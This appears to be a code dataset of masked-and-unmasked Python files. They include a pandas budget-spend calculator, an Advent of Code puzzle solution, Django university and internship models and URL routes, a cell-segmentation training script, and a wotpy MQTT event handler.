daily.setdefault(name, {}).setdefault(day, 0)\n daily[name][day] = dayspend + daily_amount\n\n df = pd.DataFrame(daily)\n # Change datetime dates to string and fillNA for later json\n df.index = [x.strftime('%Y-%m-%d') for x in df.index.tolist()]\n df.fillna(0, inplace=True)\n\n self.daily_df = df\n\n def _convert_spend_currency(self):\n if self.spend.count() > 0:\n spend_cur = list(set(\n self.spend.values_list('currency', flat=True)\n ))\n if spend_cur != [self.campaign.currency]:\n raise NotImplementedError(\n \"Currency converting not implemented, make sure budgets \"\n \"and spends are in the same currency\"\n )\n # Convert spend to list so that we can alter change currency\n self.spend = list(self.spend)\n else:\n self.spend = []\n\n def _get_budget_spend_series(self):\n try:\n self.budget_series = self.daily_df[self.BUDGETS_NAME]\n except KeyError:\n self.budget_series = pd.Series()\n\n self.spend_series = (\n self.daily_df\n .drop(self.BUDGETS_NAME, axis=1, errors='ignore')\n .sum(axis=1)\n )\n\n def check_required(self):\n \"\"\" Functions needed for any of the public methods to work \"\"\"\n if not self.required_ran:\n self._get_start_date()\n self._get_querysets()\n self._convert_spend_currency()\n self._convert_to_daily_df()\n self._get_budget_spend_series()\n\n self.required_ran = True\n\n def get_daily_diff(self):\n self.check_required()\n res = self.budget_series - self.spend_series\n res.fillna(0, inplace=True)\n return res\n\n def get_cum_diff(self, daily_diff):\n self.check_required()\n return daily_diff.cumsum()\n\n def get_totals(self):\n self.check_required()\n spend_sum = self.spend_series.sum()\n budget_sum = self.budget_series.sum()\n spend_days = self.spend_series.count()\n budget_days = self.budget_series.count()\n diff = budget_sum - spend_sum\n totals = {\n 'spend': spend_sum,\n 'budget': budget_sum,\n 'avg_spend_per_day': (\n spend_sum / spend_days\n ),\n 'avg_budget_per_day': (\n budget_sum / budget_days\n ),\n 'diff': diff,\n 'avg_diff_per_day': diff / spend_days\n }\n\n for each in totals:\n if pd.isnull(totals[each]):\n totals[each] = 0\n\n return totals\n\n def get_info(self):\n info = {\n 'last_spend': self.spend_series.dropna().index[-1]\n }\n\n return info\n", "step-ids": [ 9, 12, 13, 15, 16 ] }
[ 9, 12, 13, 15, 16 ]
from day6input import * groups = input.split('\n\n') count = 0 #1 groupanswers = [] #2 for group in groups: allananswers = set(list('abcdefghijklmnopqrstuvwxyz')) #2 answers = set() #1 people = group.split('\n') for person in people: allananswers = allananswers & set(list(person)) #2 #1 for answer in person: if answer not in answers: answers.add(answer) count = count + 1 groupanswers.append(allananswers) #2 print(count) #1 #####2 answer2 = 0 for group in groupanswers: answer2 = answer2 + len(group) print(answer2)
normal
{ "blob_id": "8f1ec65ca60605747f46f596e0b5848922bcd0b5", "index": 2127, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor group in groups:\n allananswers = set(list('abcdefghijklmnopqrstuvwxyz'))\n answers = set()\n people = group.split('\\n')\n for person in people:\n allananswers = allananswers & set(list(person))\n for answer in person:\n if answer not in answers:\n answers.add(answer)\n count = count + 1\n groupanswers.append(allananswers)\nprint(count)\n<mask token>\nfor group in groupanswers:\n answer2 = answer2 + len(group)\nprint(answer2)\n", "step-3": "<mask token>\ngroups = input.split('\\n\\n')\ncount = 0\ngroupanswers = []\nfor group in groups:\n allananswers = set(list('abcdefghijklmnopqrstuvwxyz'))\n answers = set()\n people = group.split('\\n')\n for person in people:\n allananswers = allananswers & set(list(person))\n for answer in person:\n if answer not in answers:\n answers.add(answer)\n count = count + 1\n groupanswers.append(allananswers)\nprint(count)\nanswer2 = 0\nfor group in groupanswers:\n answer2 = answer2 + len(group)\nprint(answer2)\n", "step-4": "from day6input import *\ngroups = input.split('\\n\\n')\ncount = 0\ngroupanswers = []\nfor group in groups:\n allananswers = set(list('abcdefghijklmnopqrstuvwxyz'))\n answers = set()\n people = group.split('\\n')\n for person in people:\n allananswers = allananswers & set(list(person))\n for answer in person:\n if answer not in answers:\n answers.add(answer)\n count = count + 1\n groupanswers.append(allananswers)\nprint(count)\nanswer2 = 0\nfor group in groupanswers:\n answer2 = answer2 + len(group)\nprint(answer2)\n", "step-5": "from day6input import *\n\ngroups = input.split('\\n\\n')\n\ncount = 0 #1\ngroupanswers = [] #2\n\nfor group in groups:\n\n allananswers = set(list('abcdefghijklmnopqrstuvwxyz')) #2\n answers = set() #1\n\n people = group.split('\\n')\n for person in people:\n\n allananswers = allananswers & set(list(person)) #2\n\n #1\n for answer in person:\n if answer not in answers:\n answers.add(answer)\n count = count + 1\n\n groupanswers.append(allananswers) #2\n\nprint(count) #1\n\n#####2\nanswer2 = 0\nfor group in groupanswers:\n answer2 = answer2 + len(group)\nprint(answer2)", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
from xai.brain.wordbase.verbs._hinder import _HINDER #calss header class _HINDERED(_HINDER, ): def __init__(self,): _HINDER.__init__(self) self.name = "HINDERED" self.specie = 'verbs' self.basic = "hinder" self.jsondata = {}
normal
{ "blob_id": "420beba5b6fd575ab9be0c907ae0698ba7be5220", "index": 4622, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass _HINDERED(_HINDER):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass _HINDERED(_HINDER):\n\n def __init__(self):\n _HINDER.__init__(self)\n self.name = 'HINDERED'\n self.specie = 'verbs'\n self.basic = 'hinder'\n self.jsondata = {}\n", "step-4": "from xai.brain.wordbase.verbs._hinder import _HINDER\n\n\nclass _HINDERED(_HINDER):\n\n def __init__(self):\n _HINDER.__init__(self)\n self.name = 'HINDERED'\n self.specie = 'verbs'\n self.basic = 'hinder'\n self.jsondata = {}\n", "step-5": "\n\nfrom xai.brain.wordbase.verbs._hinder import _HINDER\n\n#calss header\nclass _HINDERED(_HINDER, ):\n\tdef __init__(self,): \n\t\t_HINDER.__init__(self)\n\t\tself.name = \"HINDERED\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"hinder\"\n\t\tself.jsondata = {}\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
from django.db import models class faculdades(models.Model): codigo = models.IntegerField(primary_key = True) nome = models.CharField(max_length=50) cidade = models.CharField(max_length=30) estado = models.CharField(max_length=20) pais = models.CharField(max_length=20) def __str__(self): return self.nome class Meta: managed = False db_table = 'faculdades' verbose_name = 'Cad.Faculdade' class cursos(models.Model): codigo = models.AutoField(primary_key = True) nome = models.CharField(max_length=50) departamento = models.CharField(max_length=30) faculdade = models.ForeignKey('faculdades', db_column='faculdade', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'cursos' verbose_name = 'Cad.Curso' class profcoorest(models.Model): masp = models.IntegerField(primary_key = True) nome = models.CharField(max_length=50) curso = models.ForeignKey('cursos', db_column='curso', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'profcoorest' verbose_name = 'Cad.Profcoorest' class alunos(models.Model): matricula = models.IntegerField(primary_key = True) nome = models.CharField(max_length=100) sexo = models.CharField(max_length=1) datanasc = models.DateField() periodo = models.IntegerField() curso = models.ForeignKey('cursos', db_column='curso', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'alunos' verbose_name = 'Cad.Aluno' class estagio(models.Model): codigo = models.AutoField(primary_key = True) aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models.CASCADE) profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE) remunerado = models.CharField(max_length=1) valor = models.DecimalField(max_digits=6, decimal_places=2) empresa = models.CharField(max_length=30) cargahr = models.IntegerField() descr_est = models.CharField(max_length=256) resp_est = models.CharField(max_length=50) def __str__(self): return '%s' % (self.codigo) class Meta: managed = False db_table = 'estagio' verbose_name = 'Cad.Estagio'
normal
{ "blob_id": "20e5220ce23aaaedbfafe599b352f5d3a220e82e", "index": 6687, "step-1": "<mask token>\n\n\nclass cursos(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key=True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models\n .CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest',\n on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n\n def __str__(self):\n return '%s' % self.codigo\n\n\n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'\n", "step-2": "<mask token>\n\n\nclass faculdades(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\n class Meta:\n managed = False\n db_table = 'faculdades'\n verbose_name = 'Cad.Faculdade'\n\n\nclass cursos(models.Model):\n codigo = models.AutoField(primary_key=True)\n nome = models.CharField(max_length=50)\n departamento = models.CharField(max_length=30)\n faculdade = models.ForeignKey('faculdades', db_column='faculdade',\n on_delete=models.CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key=True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models\n .CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest',\n on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n\n def __str__(self):\n return '%s' % self.codigo\n\n\n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'\n", "step-3": "<mask token>\n\n\nclass faculdades(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'faculdades'\n verbose_name = 'Cad.Faculdade'\n\n\nclass cursos(models.Model):\n codigo = models.AutoField(primary_key=True)\n nome = models.CharField(max_length=50)\n departamento = models.CharField(max_length=30)\n faculdade = models.ForeignKey('faculdades', db_column='faculdade',\n on_delete=models.CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key=True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models\n .CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest',\n on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n\n def __str__(self):\n return '%s' % self.codigo\n\n\n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'\n", "step-4": "from django.db import models\n\n\nclass faculdades(models.Model):\n codigo = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n cidade = models.CharField(max_length=30)\n estado = models.CharField(max_length=20)\n pais = models.CharField(max_length=20)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'faculdades'\n verbose_name = 'Cad.Faculdade'\n\n\nclass cursos(models.Model):\n codigo = models.AutoField(primary_key=True)\n nome = models.CharField(max_length=50)\n departamento = models.CharField(max_length=30)\n faculdade = models.ForeignKey('faculdades', db_column='faculdade',\n on_delete=models.CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key=True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models\n .CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest',\n on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n\n def __str__(self):\n return '%s' % self.codigo\n\n\n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'\n", "step-5": "from django.db import models\n\nclass faculdades(models.Model):\n codigo = models.IntegerField(primary_key = True)\n nome = models.CharField(max_length=50)\n cidade = models.CharField(max_length=30)\n estado = models.CharField(max_length=20)\n pais = models.CharField(max_length=20)\n \n def __str__(self):\n return self.nome\n\n class Meta:\n managed = False\n db_table = 'faculdades'\n verbose_name = 'Cad.Faculdade'\n\nclass cursos(models.Model):\n codigo = models.AutoField(primary_key = True)\n nome = models.CharField(max_length=50)\n departamento = models.CharField(max_length=30)\n faculdade = models.ForeignKey('faculdades', db_column='faculdade', on_delete=models.CASCADE)\n \n def __str__(self):\n return self.nome\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key = True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models.CASCADE)\n \n def __str__(self):\n return self.nome\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key = True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models.CASCADE)\n \n def __str__(self):\n return self.nome\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key = True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models.CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n \n def __str__(self):\n return '%s' % (self.codigo)\n \n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'", "step-ids": [ 11, 13, 14, 16, 17 ] }
[ 11, 13, 14, 16, 17 ]
import time import click from contextlib import contextmanager from pathlib import Path from model.data import CellsDataset from model.model import build_model, train_transform, test_transform from model.vis import plot_cells @contextmanager def timer(name): t0 = time.time() yield print("{color}[{name}] done in {et:.0f} s{nocolor}".format( name=name, et=time.time() - t0, color='\033[1;33m', nocolor='\033[0m')) @click.group() def main(): pass def infer(model, dataset, title): print(f"Infering for {title} set") plot_cells(*zip(*dataset)) with timer("Predict the labels"): preds = model.predict(dataset) imgs, masks = zip(*dataset) plot_cells(imgs, masks, preds) @main.command() @click.option("--path", type=click.Path(exists=True), default="data/cells") def train(path): dirs = [p for p in Path(path).iterdir() if p.is_dir()] dataset = CellsDataset(dirs[:5], transform=train_transform()) plot_cells(*zip(*dataset)) model = build_model(max_epochs=2) with timer("Train the model"): model.fit(dataset) infer(model, dataset, "train") # Infer for all types of images model.set_params(batch_size=1) test = CellsDataset(dirs[:2], transform=test_transform()) infer(model, test, "test") if __name__ == '__main__': main()
normal
{ "blob_id": "5cc325758d5bd99ebe49c40af4d2e339bbf64044", "index": 7508, "step-1": "<mask token>\n\n\n@contextmanager\ndef timer(name):\n t0 = time.time()\n yield\n print('{color}[{name}] done in {et:.0f} s{nocolor}'.format(name=name,\n et=time.time() - t0, color='\\x1b[1;33m', nocolor='\\x1b[0m'))\n\n\n<mask token>\n\n\[email protected]()\[email protected]('--path', type=click.Path(exists=True), default='data/cells')\ndef train(path):\n dirs = [p for p in Path(path).iterdir() if p.is_dir()]\n dataset = CellsDataset(dirs[:5], transform=train_transform())\n plot_cells(*zip(*dataset))\n model = build_model(max_epochs=2)\n with timer('Train the model'):\n model.fit(dataset)\n infer(model, dataset, 'train')\n model.set_params(batch_size=1)\n test = CellsDataset(dirs[:2], transform=test_transform())\n infer(model, test, 'test')\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\n@contextmanager\ndef timer(name):\n t0 = time.time()\n yield\n print('{color}[{name}] done in {et:.0f} s{nocolor}'.format(name=name,\n et=time.time() - t0, color='\\x1b[1;33m', nocolor='\\x1b[0m'))\n\n\[email protected]()\ndef main():\n pass\n\n\ndef infer(model, dataset, title):\n print(f'Infering for {title} set')\n plot_cells(*zip(*dataset))\n with timer('Predict the labels'):\n preds = model.predict(dataset)\n imgs, masks = zip(*dataset)\n plot_cells(imgs, masks, preds)\n\n\[email protected]()\[email protected]('--path', type=click.Path(exists=True), default='data/cells')\ndef train(path):\n dirs = [p for p in Path(path).iterdir() if p.is_dir()]\n dataset = CellsDataset(dirs[:5], transform=train_transform())\n plot_cells(*zip(*dataset))\n model = build_model(max_epochs=2)\n with timer('Train the model'):\n model.fit(dataset)\n infer(model, dataset, 'train')\n model.set_params(batch_size=1)\n test = CellsDataset(dirs[:2], transform=test_transform())\n infer(model, test, 'test')\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\n@contextmanager\ndef timer(name):\n t0 = time.time()\n yield\n print('{color}[{name}] done in {et:.0f} s{nocolor}'.format(name=name,\n et=time.time() - t0, color='\\x1b[1;33m', nocolor='\\x1b[0m'))\n\n\[email protected]()\ndef main():\n pass\n\n\ndef infer(model, dataset, title):\n print(f'Infering for {title} set')\n plot_cells(*zip(*dataset))\n with timer('Predict the labels'):\n preds = model.predict(dataset)\n imgs, masks = zip(*dataset)\n plot_cells(imgs, masks, preds)\n\n\[email protected]()\[email protected]('--path', type=click.Path(exists=True), default='data/cells')\ndef train(path):\n dirs = [p for p in Path(path).iterdir() if p.is_dir()]\n dataset = CellsDataset(dirs[:5], transform=train_transform())\n plot_cells(*zip(*dataset))\n model = build_model(max_epochs=2)\n with timer('Train the model'):\n model.fit(dataset)\n infer(model, dataset, 'train')\n model.set_params(batch_size=1)\n test = CellsDataset(dirs[:2], transform=test_transform())\n infer(model, test, 'test')\n\n\nif __name__ == '__main__':\n main()\n", "step-4": "import time\nimport click\nfrom contextlib import contextmanager\nfrom pathlib import Path\nfrom model.data import CellsDataset\nfrom model.model import build_model, train_transform, test_transform\nfrom model.vis import plot_cells\n\n\n@contextmanager\ndef timer(name):\n t0 = time.time()\n yield\n print('{color}[{name}] done in {et:.0f} s{nocolor}'.format(name=name,\n et=time.time() - t0, color='\\x1b[1;33m', nocolor='\\x1b[0m'))\n\n\[email protected]()\ndef main():\n pass\n\n\ndef infer(model, dataset, title):\n print(f'Infering for {title} set')\n plot_cells(*zip(*dataset))\n with timer('Predict the labels'):\n preds = model.predict(dataset)\n imgs, masks = zip(*dataset)\n plot_cells(imgs, masks, preds)\n\n\[email protected]()\[email protected]('--path', type=click.Path(exists=True), default='data/cells')\ndef train(path):\n dirs = [p for p in Path(path).iterdir() if p.is_dir()]\n dataset = CellsDataset(dirs[:5], transform=train_transform())\n plot_cells(*zip(*dataset))\n model = build_model(max_epochs=2)\n with timer('Train the model'):\n model.fit(dataset)\n infer(model, dataset, 'train')\n model.set_params(batch_size=1)\n test = CellsDataset(dirs[:2], transform=test_transform())\n infer(model, test, 'test')\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "import time\nimport click\nfrom contextlib import contextmanager\nfrom pathlib import Path\nfrom model.data import CellsDataset\nfrom model.model import build_model, train_transform, test_transform\nfrom model.vis import plot_cells\n\n\n@contextmanager\ndef timer(name):\n t0 = time.time()\n yield\n print(\"{color}[{name}] done in {et:.0f} s{nocolor}\".format(\n name=name, et=time.time() - t0,\n color='\\033[1;33m', nocolor='\\033[0m'))\n\n\[email protected]()\ndef main():\n pass\n\n\ndef infer(model, dataset, title):\n print(f\"Infering for {title} set\")\n plot_cells(*zip(*dataset))\n with timer(\"Predict the labels\"):\n preds = model.predict(dataset)\n\n imgs, masks = zip(*dataset)\n plot_cells(imgs, masks, preds)\n\n\[email protected]()\[email protected](\"--path\", type=click.Path(exists=True), default=\"data/cells\")\ndef train(path):\n dirs = [p for p in Path(path).iterdir() if p.is_dir()]\n dataset = CellsDataset(dirs[:5], transform=train_transform())\n plot_cells(*zip(*dataset))\n\n model = build_model(max_epochs=2)\n with timer(\"Train the model\"):\n model.fit(dataset)\n\n infer(model, dataset, \"train\")\n\n # Infer for all types of images\n model.set_params(batch_size=1)\n test = CellsDataset(dirs[:2], transform=test_transform())\n infer(model, test, \"test\")\n\n\nif __name__ == '__main__':\n main()\n", "step-ids": [ 2, 4, 5, 6, 7 ] }
[ 2, 4, 5, 6, 7 ]
from django.contrib import admin from django.urls import path from . import views urlpatterns = [ path('', views.skincare, name="skin"), path('productSearch/', views.productSearch, name="productSearch"), path('detail/', views.detail, name="detail"), ]
normal
{ "blob_id": "c31c59d172b2b23ca4676be0690603f33b56f557", "index": 4867, "step-1": "<mask token>\n", "step-2": "<mask token>\nurlpatterns = [path('', views.skincare, name='skin'), path('productSearch/',\n views.productSearch, name='productSearch'), path('detail/', views.\n detail, name='detail')]\n", "step-3": "from django.contrib import admin\nfrom django.urls import path\nfrom . import views\nurlpatterns = [path('', views.skincare, name='skin'), path('productSearch/',\n views.productSearch, name='productSearch'), path('detail/', views.\n detail, name='detail')]\n", "step-4": "from django.contrib import admin\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.skincare, name=\"skin\"),\n path('productSearch/', views.productSearch, name=\"productSearch\"),\n path('detail/', views.detail, name=\"detail\"),\n]", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
#!/usr/bin/env python # -*- coding: utf-8 -*- """ MQTT handler for Event subscriptions. """ import json import time import tornado.gen import tornado.ioloop from hbmqtt.mqtt.constants import QOS_0 from tornado.queues import QueueFull from wotpy.protocols.mqtt.handlers.base import BaseMQTTHandler from wotpy.protocols.mqtt.handlers.subs import InteractionsSubscriber from wotpy.utils.utils import to_json_obj from wotpy.wot.enums import InteractionTypes class EventMQTTHandler(BaseMQTTHandler): """MQTT handler for Event subscriptions.""" DEFAULT_CALLBACK_MS = 2000 DEFAULT_JITTER = 0.2 def __init__(self, mqtt_server, qos=QOS_0, callback_ms=None): super(EventMQTTHandler, self).__init__(mqtt_server) callback_ms = self.DEFAULT_CALLBACK_MS if callback_ms is None else callback_ms self._qos = qos self._callback_ms = callback_ms self._subs = {} self._interaction_subscriber = InteractionsSubscriber( interaction_type=InteractionTypes.EVENT, server=self.mqtt_server, on_next_builder=self._build_on_next) @tornado.gen.coroutine def refresh_subs(): self._interaction_subscriber.refresh() self._periodic_refresh_subs = tornado.ioloop.PeriodicCallback( refresh_subs, self._callback_ms, jitter=self.DEFAULT_JITTER) def build_event_topic(self, thing, event): """Returns the MQTT topic for Event emissions.""" return "{}/event/{}/{}".format( self.servient_id, thing.url_name, event.url_name) @tornado.gen.coroutine def init(self): """Initializes the MQTT handler. Called when the MQTT runner starts.""" self._interaction_subscriber.refresh() self._periodic_refresh_subs.start() yield None @tornado.gen.coroutine def teardown(self): """Destroys the MQTT handler. Called when the MQTT runner stops.""" self._periodic_refresh_subs.stop() self._interaction_subscriber.dispose() yield None def _build_on_next(self, exp_thing, event): """Builds the on_next function to use when subscribing to the given Event.""" topic = self.build_event_topic(exp_thing, event) def on_next(item): try: data = { "name": item.name, "data": to_json_obj(item.data), "timestamp": int(time.time() * 1000) } self.queue.put_nowait({ "topic": topic, "data": json.dumps(data).encode(), "qos": self._qos }) except QueueFull: pass return on_next
normal
{ "blob_id": "b3f72bc12f85724ddcdaf1c151fd2a68b29432e8", "index": 6545, "step-1": "<mask token>\n\n\nclass EventMQTTHandler(BaseMQTTHandler):\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, mqtt_server, qos=QOS_0, callback_ms=None):\n super(EventMQTTHandler, self).__init__(mqtt_server)\n callback_ms = (self.DEFAULT_CALLBACK_MS if callback_ms is None else\n callback_ms)\n self._qos = qos\n self._callback_ms = callback_ms\n self._subs = {}\n self._interaction_subscriber = InteractionsSubscriber(interaction_type\n =InteractionTypes.EVENT, server=self.mqtt_server,\n on_next_builder=self._build_on_next)\n\n @tornado.gen.coroutine\n def refresh_subs():\n self._interaction_subscriber.refresh()\n self._periodic_refresh_subs = tornado.ioloop.PeriodicCallback(\n refresh_subs, self._callback_ms, jitter=self.DEFAULT_JITTER)\n\n def build_event_topic(self, thing, event):\n \"\"\"Returns the MQTT topic for Event emissions.\"\"\"\n return '{}/event/{}/{}'.format(self.servient_id, thing.url_name,\n event.url_name)\n\n @tornado.gen.coroutine\n def init(self):\n \"\"\"Initializes the MQTT handler.\n Called when the MQTT runner starts.\"\"\"\n self._interaction_subscriber.refresh()\n self._periodic_refresh_subs.start()\n yield None\n\n @tornado.gen.coroutine\n def teardown(self):\n \"\"\"Destroys the MQTT handler.\n Called when the MQTT runner stops.\"\"\"\n self._periodic_refresh_subs.stop()\n self._interaction_subscriber.dispose()\n yield None\n\n def _build_on_next(self, exp_thing, event):\n \"\"\"Builds the on_next function to use when subscribing to the given Event.\"\"\"\n topic = self.build_event_topic(exp_thing, event)\n\n def on_next(item):\n try:\n data = {'name': item.name, 'data': to_json_obj(item.data),\n 'timestamp': int(time.time() * 1000)}\n self.queue.put_nowait({'topic': topic, 'data': json.dumps(\n data).encode(), 'qos': self._qos})\n except QueueFull:\n pass\n return on_next\n", "step-2": "<mask token>\n\n\nclass EventMQTTHandler(BaseMQTTHandler):\n <mask token>\n DEFAULT_CALLBACK_MS = 2000\n DEFAULT_JITTER = 0.2\n\n def __init__(self, mqtt_server, qos=QOS_0, callback_ms=None):\n super(EventMQTTHandler, self).__init__(mqtt_server)\n callback_ms = (self.DEFAULT_CALLBACK_MS if callback_ms is None else\n callback_ms)\n self._qos = qos\n self._callback_ms = callback_ms\n self._subs = {}\n self._interaction_subscriber = InteractionsSubscriber(interaction_type\n =InteractionTypes.EVENT, server=self.mqtt_server,\n on_next_builder=self._build_on_next)\n\n @tornado.gen.coroutine\n def refresh_subs():\n self._interaction_subscriber.refresh()\n self._periodic_refresh_subs = tornado.ioloop.PeriodicCallback(\n refresh_subs, self._callback_ms, jitter=self.DEFAULT_JITTER)\n\n def build_event_topic(self, thing, event):\n \"\"\"Returns the MQTT topic for Event emissions.\"\"\"\n return '{}/event/{}/{}'.format(self.servient_id, thing.url_name,\n event.url_name)\n\n @tornado.gen.coroutine\n def init(self):\n \"\"\"Initializes the MQTT handler.\n Called when the 